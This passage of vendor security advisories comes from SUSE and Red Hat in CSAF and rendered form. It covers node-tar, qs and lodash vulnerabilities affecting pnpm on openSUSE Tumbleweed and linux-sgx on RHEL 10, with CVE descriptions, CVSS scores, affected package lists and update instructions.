"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-fish-completion-10.32.1-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.aarch64"
},
"product_reference": "pnpm-fish-completion-10.32.1-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-fish-completion-10.32.1-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.ppc64le"
},
"product_reference": "pnpm-fish-completion-10.32.1-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-fish-completion-10.32.1-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.s390x"
},
"product_reference": "pnpm-fish-completion-10.32.1-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-fish-completion-10.32.1-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.x86_64"
},
"product_reference": "pnpm-fish-completion-10.32.1-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-zsh-completion-10.32.1-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.aarch64"
},
"product_reference": "pnpm-zsh-completion-10.32.1-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-zsh-completion-10.32.1-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.ppc64le"
},
"product_reference": "pnpm-zsh-completion-10.32.1-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-zsh-completion-10.32.1-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.s390x"
},
"product_reference": "pnpm-zsh-completion-10.32.1-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "pnpm-zsh-completion-10.32.1-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.x86_64"
},
"product_reference": "pnpm-zsh-completion-10.32.1-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-24842",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-24842"
}
],
"notes": [
{
"category": "general",
"text": "node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-24842",
"url": "https://www.suse.com/security/cve/CVE-2026-24842"
},
{
"category": "external",
"summary": "SUSE Bug 1257415 for CVE-2026-24842",
"url": "https://bugzilla.suse.com/1257415"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-bash-completion-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-fish-completion-10.32.1-1.1.x86_64",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.aarch64",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.ppc64le",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.s390x",
"openSUSE Tumbleweed:pnpm-zsh-completion-10.32.1-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-23T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-24842"
}
]
}
RHSA-2026:18480
Vulnerability from csaf_redhat - Published: 2026-05-19 09:16 - Updated: 2026-07-22 15:08Summary
Red Hat Security Advisory: linux-sgx security update
Severity
Important
Notes
Topic: An update for linux-sgx is now available for Red Hat Enterprise Linux 10.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
Details: The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
* qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
* node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
* node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
* lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
* node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the Red Hat Enterprise Linux 10 Release Notes linked from the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Lodash. A prototype pollution vulnerability in the _.unset and _.omit functions allows an attacker able to control property paths to delete methods from global prototypes. By removing essential functionalities, this can result in a denial of service.
8.2 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.
7.5 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in the node-tar library. This vulnerability allows an attacker to craft malicious archives that, when extracted, can bypass intended security restrictions. This leads to arbitrary file overwrite and symlink poisoning, potentially allowing unauthorized modification of files on the system.
8.2 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in node-tar, a library for Node.js. This race condition vulnerability occurs due to incomplete handling of Unicode path collisions within the `path-reservations` system on case-insensitive filesystems, such as macOS APFS. A remote attacker can exploit this by providing a specially crafted tar archive containing filenames that cause these collisions, bypassing internal concurrency safeguards. Successful exploitation can lead to arbitrary file overwrite.
8.8 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.
8.2 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
41 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:18480 | self |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2425946 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2430538 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431036 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431740 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | external |
| https://issues.redhat.com/browse/RHEL-110112 | external |
| https://issues.redhat.com/browse/RHEL-121612 | external |
| https://issues.redhat.com/browse/RHEL-140108 | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2025-13465 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431740 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-13465 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-13465 | external |
| https://github.com/lodash/lodash/security/advisor… | external |
| https://access.redhat.com/security/cve/CVE-2025-15284 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2425946 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-15284 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-15284 | external |
| https://github.com/ljharb/qs/commit/3086902ecf7f0… | external |
| https://github.com/ljharb/qs/security/advisories/… | external |
| https://access.redhat.com/security/cve/CVE-2026-23745 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2430538 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-23745 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-23745 | external |
| https://github.com/isaacs/node-tar/commit/340eb28… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-23950 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431036 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-23950 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-23950 | external |
| https://github.com/isaacs/node-tar/commit/3b1abfa… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-24842 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-24842 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-24842 | external |
| https://github.com/isaacs/node-tar/commit/f4a7aa9… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update for linux-sgx is now available for Red Hat Enterprise Linux 10.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.\n\nSecurity Fix(es):\n\n* qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n\n* lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n\n* node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 10 Release Notes linked from the References section.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:18480",
"url": "https://access.redhat.com/errata/RHSA-2026:18480"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/10.2_release_notes/index",
"url": "https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/10.2_release_notes/index"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/#important",
"url": "https://access.redhat.com/security/updates/classification/#important"
},
{
"category": "external",
"summary": "2425946",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2425946"
},
{
"category": "external",
"summary": "2430538",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430538"
},
{
"category": "external",
"summary": "2431036",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431036"
},
{
"category": "external",
"summary": "2431740",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431740"
},
{
"category": "external",
"summary": "2433645",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"category": "external",
"summary": "RHEL-110112",
"url": "https://issues.redhat.com/browse/RHEL-110112"
},
{
"category": "external",
"summary": "RHEL-121612",
"url": "https://issues.redhat.com/browse/RHEL-121612"
},
{
"category": "external",
"summary": "RHEL-140108",
"url": "https://issues.redhat.com/browse/RHEL-140108"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18480.json"
}
],
"title": "Red Hat Security Advisory: linux-sgx security update",
"tracking": {
"current_release_date": "2026-07-22T15:08:01+00:00",
"generator": {
